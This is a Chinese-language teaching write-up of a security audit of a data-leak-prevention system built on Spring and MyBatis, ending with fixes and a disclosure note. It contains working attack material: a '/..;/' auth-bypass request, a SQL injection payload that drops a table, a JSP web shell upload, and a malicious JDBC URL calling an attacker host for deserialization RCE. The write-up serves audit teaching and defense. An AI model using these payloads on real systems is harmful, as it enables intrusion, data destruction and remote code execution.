某数据泄露防护系统审计
字数 1654 2025-10-01 14:05:44

某数据泄露防护系统审计教学文档

一、系统架构分析

1.1 技术栈组成

  • 框架类型:MVC架构
  • 核心框架:Spring Framework
  • 版本信息:Spring 4.3.29
  • 路由模式:*.do后缀形式
  • ORM框架:MyBatis
  • 文件上传:MultipartFile组件

1.2 依赖库分析

  • 序列化相关
    • Commons BeanUtils 1.9.3
    • Commons Collections 3.2.2
  • JSON处理:Fastjson(高版本,无法直接利用反序列化)
  • 数据库驱动:MySQL 8.0.15

1.3 安全防护机制

  • 鉴权方式:Spring Security Filter Chain + JWT组合认证
  • 过滤配置:所有*.do路由均经过安全过滤

二、鉴权绕过技术分析

2.1 路径解析绕过

2.1.1 漏洞位置

  • 过滤类:SecurityFilter#doFilter
  • 校验方法:SessionFilter.isNoNeedValidate

2.1.2 绕过原理

系统对URL路径解析处理不当,存在目录遍历绕过漏洞:

GET /login.jsp/..;/admin/secretEndpoint.do HTTP/1.1

2.1.3 技术细节

  • 利用/..;/实现路径标准化绕过
  • 绕过后直接访问后台功能端点
  • 所有需要鉴权的接口变为前台可访问

2.2 JWT伪造尝试分析

2.2.1 JWT处理流程

  1. 从Authorization头获取token
  2. RC4算法解密token
  3. HMAC256签名验证

2.2.2 密钥硬编码发现

  • 密钥存储:JWTUtils类中存在硬编码SECRET
  • 生成方法:标准JWT生成方式

2.2.3 伪造失败原因

签名时除SECRET外还添加了动态参数:

Config.SYSTEM_USER_NUMBER // 系统唯一标识,各部署环境不同

导致无法跨系统伪造有效JWT令牌。

三、漏洞挖掘与利用技术

3.1 SQL注入漏洞(9处)

3.1.1 漏洞成因

  • 使用方式:MyBatis中使用了${}进行SQL拼接
  • 漏洞位置:PageVo类中的sort参数拼接

3.1.2 代码分析

<!-- Mapper中的漏洞代码 -->
<select id="queryList" parameterType="PageVo">
    SELECT * FROM table ORDER BY ${page.sortField}
</select>

3.1.3 利用方式

构造恶意sort参数实现注入:

POST /queryData.do HTTP/1.1
Content-Type: application/json

{
    "sortField": "id; DROP TABLE users; --"
}

3.1.4 挖掘方法

全局搜索${查找MyBatis中的SQL拼接点。

3.2 任意文件上传漏洞

3.2.1 漏洞位置

  • 接收参数:MultipartFile类型参数
  • 处理方法:uploadWxFileToRoot

3.2.2 漏洞详情

public String uploadWxFileToRoot(MultipartFile file) {
    // 无后缀过滤
    String path = String.valueOf(System.getProperty("catalina.home")) 
                + File.separator + "webapps" 
                + File.separator + "ROOT" 
                + File.separator + file.getOriginalFilename();
    file.transferTo(new File(path));
    return path;
}

3.2.3 利用方法

POST /uploadFile.do HTTP/1.1
Content-Type: multipart/form-data

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: application/octet-stream

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

3.3 JDBC反序列化漏洞

3.3.1 漏洞环境

  • MySQL版本:8.0.15
  • 依赖链:CB链(Commons BeanUtils + Commons Collections)

3.3.2 利用技巧

利用JDBC连接字符串中的注释特性绕过限制:

String url = "jdbc:mysql://attacker-controlled.com:3306/test?"
           + "autoDeserialize=true&statementInterceptors="
           + "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor"
           + "#&user=deserialization_payload_here";

3.3.3 技术要点

  • 使用#注释掉后续参数避免语法错误
  • 结合CB链实现RCE

四、审计方法论总结

4.1 系统化审计流程

  1. 架构分析:梳理技术栈和依赖版本
  2. 鉴权分析:从web.xml入手分析过滤链
  3. 入口挖掘:寻找用户输入可控点
  4. 漏洞验证:本地环境构造验证Payload

4.2 关键检查点

  • XML配置:web.xml中的filter-mapping
  • 注解使用:@RequestMapping等路由注解
  • 参数接收:Controller方法参数列表
  • SQL处理:MyBatis中${}的使用情况
  • 文件操作:文件路径拼接和校验逻辑

4.3 开发安全建议

  1. 避免使用${}进行SQL拼接
  2. 对上传文件进行后缀白名单校验
  3. 使用标准化路径处理避免解析绕过
  4. JWT密钥应避免硬编码,使用动态密钥管理

五、修复方案

5.1 紧急修复措施

  1. 添加路径标准化处理过滤器
  2. 临时禁用存在SQL注入的接口
  3. 限制文件上传目录为非web可访问路径

5.2 长期加固方案

  1. 升级Spring Security到最新版本
  2. 实施严格的输入验证和输出编码
  3. 部署WAF防护常见Web攻击
  4. 建立定期安全审计机制

注:本文档仅用于安全研究和教育目的,请勿用于非法用途。所有漏洞信息已提交给相关厂商并完成修复。

某数据泄露防护系统审计教学文档 一、系统架构分析 1.1 技术栈组成 框架类型 :MVC架构 核心框架 :Spring Framework 版本信息 :Spring 4.3.29 路由模式 :* .do后缀形式 ORM框架 :MyBatis 文件上传 :MultipartFile组件 1.2 依赖库分析 序列化相关 : Commons BeanUtils 1.9.3 Commons Collections 3.2.2 JSON处理 :Fastjson(高版本,无法直接利用反序列化) 数据库驱动 :MySQL 8.0.15 1.3 安全防护机制 鉴权方式 :Spring Security Filter Chain + JWT组合认证 过滤配置 :所有* .do路由均经过安全过滤 二、鉴权绕过技术分析 2.1 路径解析绕过 2.1.1 漏洞位置 过滤类 :SecurityFilter#doFilter 校验方法 :SessionFilter.isNoNeedValidate 2.1.2 绕过原理 系统对URL路径解析处理不当,存在目录遍历绕过漏洞: 2.1.3 技术细节 利用 /..;/ 实现路径标准化绕过 绕过后直接访问后台功能端点 所有需要鉴权的接口变为前台可访问 2.2 JWT伪造尝试分析 2.2.1 JWT处理流程 从Authorization头获取token RC4算法解密token HMAC256签名验证 2.2.2 密钥硬编码发现 密钥存储 :JWTUtils类中存在硬编码SECRET 生成方法 :标准JWT生成方式 2.2.3 伪造失败原因 签名时除SECRET外还添加了动态参数: 导致无法跨系统伪造有效JWT令牌。 三、漏洞挖掘与利用技术 3.1 SQL注入漏洞(9处) 3.1.1 漏洞成因 使用方式 :MyBatis中使用了${}进行SQL拼接 漏洞位置 :PageVo类中的sort参数拼接 3.1.2 代码分析 3.1.3 利用方式 构造恶意sort参数实现注入: 3.1.4 挖掘方法 全局搜索 ${ 查找MyBatis中的SQL拼接点。 3.2 任意文件上传漏洞 3.2.1 漏洞位置 接收参数 :MultipartFile类型参数 处理方法 :uploadWxFileToRoot 3.2.2 漏洞详情 3.2.3 利用方法 3.3 JDBC反序列化漏洞 3.3.1 漏洞环境 MySQL版本 :8.0.15 依赖链 :CB链(Commons BeanUtils + Commons Collections) 3.3.2 利用技巧 利用JDBC连接字符串中的注释特性绕过限制: 3.3.3 技术要点 使用 # 注释掉后续参数避免语法错误 结合CB链实现RCE 四、审计方法论总结 4.1 系统化审计流程 架构分析 :梳理技术栈和依赖版本 鉴权分析 :从web.xml入手分析过滤链 入口挖掘 :寻找用户输入可控点 漏洞验证 :本地环境构造验证Payload 4.2 关键检查点 XML配置 :web.xml中的filter-mapping 注解使用 :@RequestMapping等路由注解 参数接收 :Controller方法参数列表 SQL处理 :MyBatis中${}的使用情况 文件操作 :文件路径拼接和校验逻辑 4.3 开发安全建议 避免使用${}进行SQL拼接 对上传文件进行后缀白名单校验 使用标准化路径处理避免解析绕过 JWT密钥应避免硬编码,使用动态密钥管理 五、修复方案 5.1 紧急修复措施 添加路径标准化处理过滤器 临时禁用存在SQL注入的接口 限制文件上传目录为非web可访问路径 5.2 长期加固方案 升级Spring Security到最新版本 实施严格的输入验证和输出编码 部署WAF防护常见Web攻击 建立定期安全审计机制 注:本文档仅用于安全研究和教育目的,请勿用于非法用途。所有漏洞信息已提交给相关厂商并完成修复。